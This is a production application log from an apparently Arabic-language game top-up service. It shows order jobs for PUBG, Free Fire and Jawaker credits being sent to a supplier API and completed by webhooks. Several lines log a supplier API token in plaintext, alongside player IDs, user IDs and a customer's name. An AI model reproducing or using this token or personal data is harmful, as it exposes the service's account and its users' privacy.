[2026-03-24 20:59:43] production.INFO: Order updated successfully. Order ID: 179360, Status: completed  
[2026-03-24 20:59:43] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-bQA-1774375174","status":"completed","codes_count":0} 
[2026-03-24 20:59:46] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1158  
[2026-03-24 21:00:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"hflvekoO3BfE3Y6iyykJof5g4ImrrLoJ","execution_time":"2026-03-24 21:00:01"} 
[2026-03-24 21:00:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"hflvekoO3BfE3Y6iyykJof5g4ImrrLoJ","execution_time":"2026-03-24 21:00:01","total_operations":1,"sites_count":1} 
[2026-03-24 21:00:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"hflvekoO3BfE3Y6iyykJof5g4ImrrLoJ","execution_time":"2026-03-24 21:00:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-Ruo-1774375001"]} 
[2026-03-24 21:00:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"hflvekoO3BfE3Y6iyykJof5g4ImrrLoJ","execution_time":"2026-03-24 21:00:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 21:00:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"hflvekoO3BfE3Y6iyykJof5g4ImrrLoJ","execution_time":"2026-03-24 21:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 21:00:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"hflvekoO3BfE3Y6iyykJof5g4ImrrLoJ","execution_time":"2026-03-24 21:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:00:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"hflvekoO3BfE3Y6iyykJof5g4ImrrLoJ","execution_time":"2026-03-24 21:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 21:00:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"hflvekoO3BfE3Y6iyykJof5g4ImrrLoJ","execution_time":"2026-03-24 21:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"errors":0} 
[2026-03-24 21:00:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"hflvekoO3BfE3Y6iyykJof5g4ImrrLoJ","execution_time":"2026-03-24 21:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:00:01] production.INFO: Executing GetProducts task...  
[2026-03-24 21:00:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 21:00:01] production.INFO: Executing GetProducts task...  
[2026-03-24 21:00:03] production.INFO: async() رجع: true  
[2026-03-24 21:00:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 21:00:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 21:00:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 21:00:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 21:00:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 21:00:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 21:00:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 21:00:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 21:00:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 21:00:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 21:00:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 21:00:12] production.INFO: Constructing job for order: 179361  
[2026-03-24 21:00:14] production.INFO: Handling job for order: 179361  
[2026-03-24 21:00:14] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:00:14] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:00:14] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=9361efa4-31d2-44ec-b9da-f4b5a6a444c6&Player_ID=5410606255  
[2026-03-24 21:00:14] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=9361efa4-31d2-44ec-b9da-f4b5a6a444c6&Player_ID=5410606255","has_body":false} 
[2026-03-24 21:00:15] production.INFO: Operation sent successfully {"operation_id":164238,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-n8UoxT-1774375214","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:00:15"}},"processed_data":{"order_number":"ORD-n8UoxT-1774375214","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 21:00:28] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-n8UoxT-1774375214","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:00:28] production.INFO: Processed webhook data (normalized) {"id":"ORD-n8UoxT-1774375214","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:00:28] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:00:28] production.INFO: SendAcceptReject: Notification queued {"user_id":1070,"notification_type":"order_approved","reference_id":179361} 
[2026-03-24 21:00:28] production.INFO: Order updated successfully. Order ID: 179361, Status: completed  
[2026-03-24 21:00:28] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-n8UoxT-1774375214","status":"completed","codes_count":0} 
[2026-03-24 21:00:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1070  
[2026-03-24 21:00:32] production.INFO: Creating credit request {"payload":{"method_id":"1","amount":"4.8","mainamount":"4.8","operation_number":"158725450","note":"ملاحظة أحمد حمادة","currency_id":"1","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpf1t5tubo5t40ezZFvbU"}},"user_id":1759} 
[2026-03-24 21:00:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 21:00:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 21:00:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 21:00:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 21:00:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 21:00:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 21:00:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 21:00:33] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 21:00:33] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18709,"user_id":1759,"amount":4.79999999999999982236431605997495353221893310546875,"admins_notified":7} 
[2026-03-24 21:01:55] production.INFO: Constructing job for order: 179362  
[2026-03-24 21:01:56] production.INFO: Constructing job for order: 179363  
[2026-03-24 21:01:57] production.INFO: Handling job for order: 179362  
[2026-03-24 21:01:57] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:01:57] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:01:57] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=827d98b4-1b7e-4937-899e-69fa1d8001d8&Player_ID=51500034880  
[2026-03-24 21:01:57] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=827d98b4-1b7e-4937-899e-69fa1d8001d8&Player_ID=51500034880","has_body":false} 
[2026-03-24 21:01:57] production.INFO: Operation sent successfully {"operation_id":164239,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-9912-1774375317","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:01:57"}},"processed_data":{"order_number":"ORD-9912-1774375317","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 21:01:57] production.INFO: Handling job for order: 179363  
[2026-03-24 21:01:57] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:01:57] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:01:57] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=d8edd13c-d137-4326-9522-7a24dbe7dd05&Player_ID=51894067432  
[2026-03-24 21:01:57] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=d8edd13c-d137-4326-9522-7a24dbe7dd05&Player_ID=51894067432","has_body":false} 
[2026-03-24 21:01:58] production.INFO: Operation sent successfully {"operation_id":164240,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-bS76hA2-1774375318","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:01:58"}},"processed_data":{"order_number":"ORD-bS76hA2-1774375318","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 21:02:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"MYHmXqAQvTL5sHf5x2MXe96MvEgzlRWf","execution_time":"2026-03-24 21:02:04"} 
[2026-03-24 21:02:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"MYHmXqAQvTL5sHf5x2MXe96MvEgzlRWf","execution_time":"2026-03-24 21:02:04","total_operations":3,"sites_count":1} 
[2026-03-24 21:02:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"MYHmXqAQvTL5sHf5x2MXe96MvEgzlRWf","execution_time":"2026-03-24 21:02:04","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-Ruo-1774375001","ORD-9912-1774375317","ORD-bS76hA2-1774375318"]} 
[2026-03-24 21:02:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"MYHmXqAQvTL5sHf5x2MXe96MvEgzlRWf","execution_time":"2026-03-24 21:02:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 21:02:05] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"MYHmXqAQvTL5sHf5x2MXe96MvEgzlRWf","execution_time":"2026-03-24 21:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 21:02:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"MYHmXqAQvTL5sHf5x2MXe96MvEgzlRWf","execution_time":"2026-03-24 21:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9912-1774375317","operation_id":164239} 
[2026-03-24 21:02:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"MYHmXqAQvTL5sHf5x2MXe96MvEgzlRWf","execution_time":"2026-03-24 21:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-bS76hA2-1774375318","operation_id":164240} 
[2026-03-24 21:02:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"MYHmXqAQvTL5sHf5x2MXe96MvEgzlRWf","execution_time":"2026-03-24 21:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:02:05] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"MYHmXqAQvTL5sHf5x2MXe96MvEgzlRWf","execution_time":"2026-03-24 21:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 21:02:05] production.INFO: Batch query completed {"job":"Quryjob","job_id":"MYHmXqAQvTL5sHf5x2MXe96MvEgzlRWf","execution_time":"2026-03-24 21:02:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"errors":0} 
[2026-03-24 21:02:05] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"MYHmXqAQvTL5sHf5x2MXe96MvEgzlRWf","execution_time":"2026-03-24 21:02:05","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:02:10] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-9912-1774375317","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:02:10] production.INFO: Processed webhook data (normalized) {"id":"ORD-9912-1774375317","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:02:10] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:02:10] production.INFO: SendAcceptReject: Notification queued {"user_id":844,"notification_type":"order_approved","reference_id":179362} 
[2026-03-24 21:02:10] production.INFO: Order updated successfully. Order ID: 179362, Status: completed  
[2026-03-24 21:02:10] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-9912-1774375317","status":"completed","codes_count":0} 
[2026-03-24 21:02:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 844  
[2026-03-24 21:02:14] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-bS76hA2-1774375318","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:02:14] production.INFO: Processed webhook data (normalized) {"id":"ORD-bS76hA2-1774375318","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:02:14] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:02:14] production.INFO: SendAcceptReject: Notification queued {"user_id":903,"notification_type":"order_approved","reference_id":179363} 
[2026-03-24 21:02:14] production.INFO: Order updated successfully. Order ID: 179363, Status: completed  
[2026-03-24 21:02:14] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-bS76hA2-1774375318","status":"completed","codes_count":0} 
[2026-03-24 21:02:14] production.INFO: Constructing job for order: 179364  
[2026-03-24 21:02:16] production.INFO: Constructing job for order: 179365  
[2026-03-24 21:02:17] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 903  
[2026-03-24 21:02:17] production.INFO: Handling job for order: 179364  
[2026-03-24 21:02:17] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:02:17] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:02:17] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/57/params?qty=1&uuid=3ca51e61-e8a8-45bb-896d-bf1777ff0982&Player_ID=51715308952  
[2026-03-24 21:02:17] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/57/params?qty=1&uuid=3ca51e61-e8a8-45bb-896d-bf1777ff0982&Player_ID=51715308952","has_body":false} 
[2026-03-24 21:02:17] production.INFO: Operation sent successfully {"operation_id":164241,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-fxlzkL-1774375337","amount":44.36999999999999744204615126363933086395263671875,"status":"processing","product":"3000+850UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:02:17"}},"processed_data":{"order_number":"ORD-fxlzkL-1774375337","amount":44.36999999999999744204615126363933086395263671875,"status":"processing","product":"3000+850UC","game":"PUBG"}} 
[2026-03-24 21:02:17] production.INFO: Handling job for order: 179365  
[2026-03-24 21:02:17] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:02:17] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:02:17] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=23575f6b-0fcb-41bb-9c90-72549d4c5844&Player_ID=52224918212  
[2026-03-24 21:02:17] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=23575f6b-0fcb-41bb-9c90-72549d4c5844&Player_ID=52224918212","has_body":false} 
[2026-03-24 21:02:18] production.INFO: Operation sent successfully {"operation_id":164242,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-nVo8-1774375338","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:02:18"}},"processed_data":{"order_number":"ORD-nVo8-1774375338","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 21:02:22] production.INFO: Constructing job for order: 179366  
[2026-03-24 21:02:24] production.INFO: Handling job for order: 179366  
[2026-03-24 21:02:24] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:02:24] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:02:24] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=ac96d148-b1e5-4ac6-bdc6-b7cea307d28d&Player_ID=9419382432  
[2026-03-24 21:02:24] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=ac96d148-b1e5-4ac6-bdc6-b7cea307d28d&Player_ID=9419382432","has_body":false} 
[2026-03-24 21:02:25] production.INFO: Operation sent successfully {"operation_id":164243,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-xudB-1774375345","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 21:02:25"}},"processed_data":{"order_number":"ORD-xudB-1774375345","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 21:02:28] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-nVo8-1774375338","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:02:28] production.INFO: Processed webhook data (normalized) {"id":"ORD-nVo8-1774375338","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:02:28] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:02:28] production.INFO: SendAcceptReject: Notification queued {"user_id":1285,"notification_type":"order_approved","reference_id":179365} 
[2026-03-24 21:02:28] production.INFO: Order updated successfully. Order ID: 179365, Status: completed  
[2026-03-24 21:02:28] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-nVo8-1774375338","status":"completed","codes_count":0} 
[2026-03-24 21:02:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1285  
[2026-03-24 21:02:53] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-xudB-1774375345","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:02:53] production.INFO: Processed webhook data (normalized) {"id":"ORD-xudB-1774375345","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:02:53] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:02:53] production.INFO: SendAcceptReject: Notification queued {"user_id":409,"notification_type":"order_approved","reference_id":179366} 
[2026-03-24 21:02:53] production.INFO: Order updated successfully. Order ID: 179366, Status: completed  
[2026-03-24 21:02:53] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-xudB-1774375345","status":"completed","codes_count":0} 
[2026-03-24 21:02:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 409  
[2026-03-24 21:03:11] production.INFO: Constructing job for order: 179367  
[2026-03-24 21:03:13] production.INFO: Handling job for order: 179367  
[2026-03-24 21:03:13] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:03:13] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:03:13] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=ad056d13-4dab-4b4b-981c-e5071860c121&Player_ID=51888003244  
[2026-03-24 21:03:13] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=ad056d13-4dab-4b4b-981c-e5071860c121&Player_ID=51888003244","has_body":false} 
[2026-03-24 21:03:14] production.INFO: Operation sent successfully {"operation_id":164244,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-kz95h1Q-1774375394","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:03:14"}},"processed_data":{"order_number":"ORD-kz95h1Q-1774375394","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 21:03:26] production.INFO: Constructing job for order: 179369  
[2026-03-24 21:03:29] production.INFO: Handling job for order: 179369  
[2026-03-24 21:03:29] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:03:29] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:03:29] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=20000&uuid=6a149694-9280-4e31-a3a9-09cd908f960e&Player_ID=1126733450  
[2026-03-24 21:03:29] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=20000&uuid=6a149694-9280-4e31-a3a9-09cd908f960e&Player_ID=1126733450","has_body":false} 
[2026-03-24 21:03:30] production.INFO: Operation sent successfully {"operation_id":164245,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-VXeq-1774375410","amount":2.251200000000000311928260998683981597423553466796875,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 21:03:30"}},"processed_data":{"order_number":"ORD-VXeq-1774375410","amount":2.251200000000000311928260998683981597423553466796875,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 21:03:31] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-kz95h1Q-1774375394","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:03:31] production.INFO: Processed webhook data (normalized) {"id":"ORD-kz95h1Q-1774375394","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:03:31] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:03:31] production.INFO: SendAcceptReject: Notification queued {"user_id":1285,"notification_type":"order_approved","reference_id":179367} 
[2026-03-24 21:03:31] production.INFO: Order updated successfully. Order ID: 179367, Status: completed  
[2026-03-24 21:03:31] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-kz95h1Q-1774375394","status":"completed","codes_count":0} 
[2026-03-24 21:03:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1285  
[2026-03-24 21:03:34] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-VXeq-1774375410","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 21:03:34] production.INFO: Processed webhook data (normalized) {"id":"ORD-VXeq-1774375410","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 21:03:34] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:03:34] production.INFO: SendAcceptReject: Notification queued {"user_id":368,"notification_type":"order_approved","reference_id":179369} 
[2026-03-24 21:03:34] production.INFO: Order updated successfully. Order ID: 179369, Status: completed  
[2026-03-24 21:03:34] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-VXeq-1774375410","status":"completed","codes_count":0} 
[2026-03-24 21:03:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 368  
[2026-03-24 21:04:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"yRy4RiABqRatNyQytfoam5rD4cFYACGx","execution_time":"2026-03-24 21:04:03"} 
[2026-03-24 21:04:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"yRy4RiABqRatNyQytfoam5rD4cFYACGx","execution_time":"2026-03-24 21:04:03","total_operations":2,"sites_count":1} 
[2026-03-24 21:04:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"yRy4RiABqRatNyQytfoam5rD4cFYACGx","execution_time":"2026-03-24 21:04:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-Ruo-1774375001","ORD-fxlzkL-1774375337"]} 
[2026-03-24 21:04:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"yRy4RiABqRatNyQytfoam5rD4cFYACGx","execution_time":"2026-03-24 21:04:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 21:04:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"yRy4RiABqRatNyQytfoam5rD4cFYACGx","execution_time":"2026-03-24 21:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 21:04:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"yRy4RiABqRatNyQytfoam5rD4cFYACGx","execution_time":"2026-03-24 21:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-fxlzkL-1774375337","operation_id":164241} 
[2026-03-24 21:04:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"yRy4RiABqRatNyQytfoam5rD4cFYACGx","execution_time":"2026-03-24 21:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:04:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"yRy4RiABqRatNyQytfoam5rD4cFYACGx","execution_time":"2026-03-24 21:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 21:04:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"yRy4RiABqRatNyQytfoam5rD4cFYACGx","execution_time":"2026-03-24 21:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"errors":0} 
[2026-03-24 21:04:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"yRy4RiABqRatNyQytfoam5rD4cFYACGx","execution_time":"2026-03-24 21:04:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:05:03] production.INFO: Executing GetProducts task...  
[2026-03-24 21:05:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 21:05:03] production.INFO: Executing GetProducts task...  
[2026-03-24 21:05:05] production.INFO: async() رجع: true  
[2026-03-24 21:05:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 21:05:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 21:05:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 21:05:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 21:05:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 21:05:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 21:05:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 21:05:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 21:05:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 21:05:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 21:05:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 21:05:29] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-fxlzkL-1774375337","status":"completed","notes":[],"codes":[]}} 
[2026-03-24 21:05:29] production.INFO: Processed webhook data (normalized) {"id":"ORD-fxlzkL-1774375337","status":"completed","codes":[],"notes":[]} 
[2026-03-24 21:05:29] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:05:29] production.INFO: SendAcceptReject: Notification queued {"user_id":861,"notification_type":"order_approved","reference_id":179364} 
[2026-03-24 21:05:29] production.INFO: Order updated successfully. Order ID: 179364, Status: completed  
[2026-03-24 21:05:29] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-fxlzkL-1774375337","status":"completed","codes_count":0} 
[2026-03-24 21:05:30] production.INFO: SendAcceptReject: Notification queued {"user_id":1759,"notification_type":"request_rejected","reference_id":18709} 
[2026-03-24 21:05:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 861  
[2026-03-24 21:05:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1759  
